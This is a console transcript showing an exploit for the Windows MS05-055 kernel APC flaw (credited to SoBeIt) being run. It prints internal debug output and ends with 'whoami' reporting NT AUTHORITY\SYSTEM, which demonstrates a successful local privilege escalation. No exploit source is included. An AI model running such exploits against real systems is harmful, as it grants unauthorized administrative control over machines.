C:\>ms05-055 helper.exe

 MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation Vulnerability
Exploit

         Create by SoBeIt.

Child ESP:be9a9c0c
PoolIndex:9b PoolType:9a
Perfect ESP:be9a9c0c
The sleep has awaken.
Target thread handle:3c0, Target process handle:3d8, Process id:70
helper.exe 960 112
Now waitting for triggering the bug.
Got thread handle:3c0, Got process id:70
Process handle:3d4
Now terminating process.
Parent process id:c4
In child thread. Now terminating to trigger the bug.
Exploit finished.

C:\>whoami
NT AUTHORITY\SYSTEM

C:\>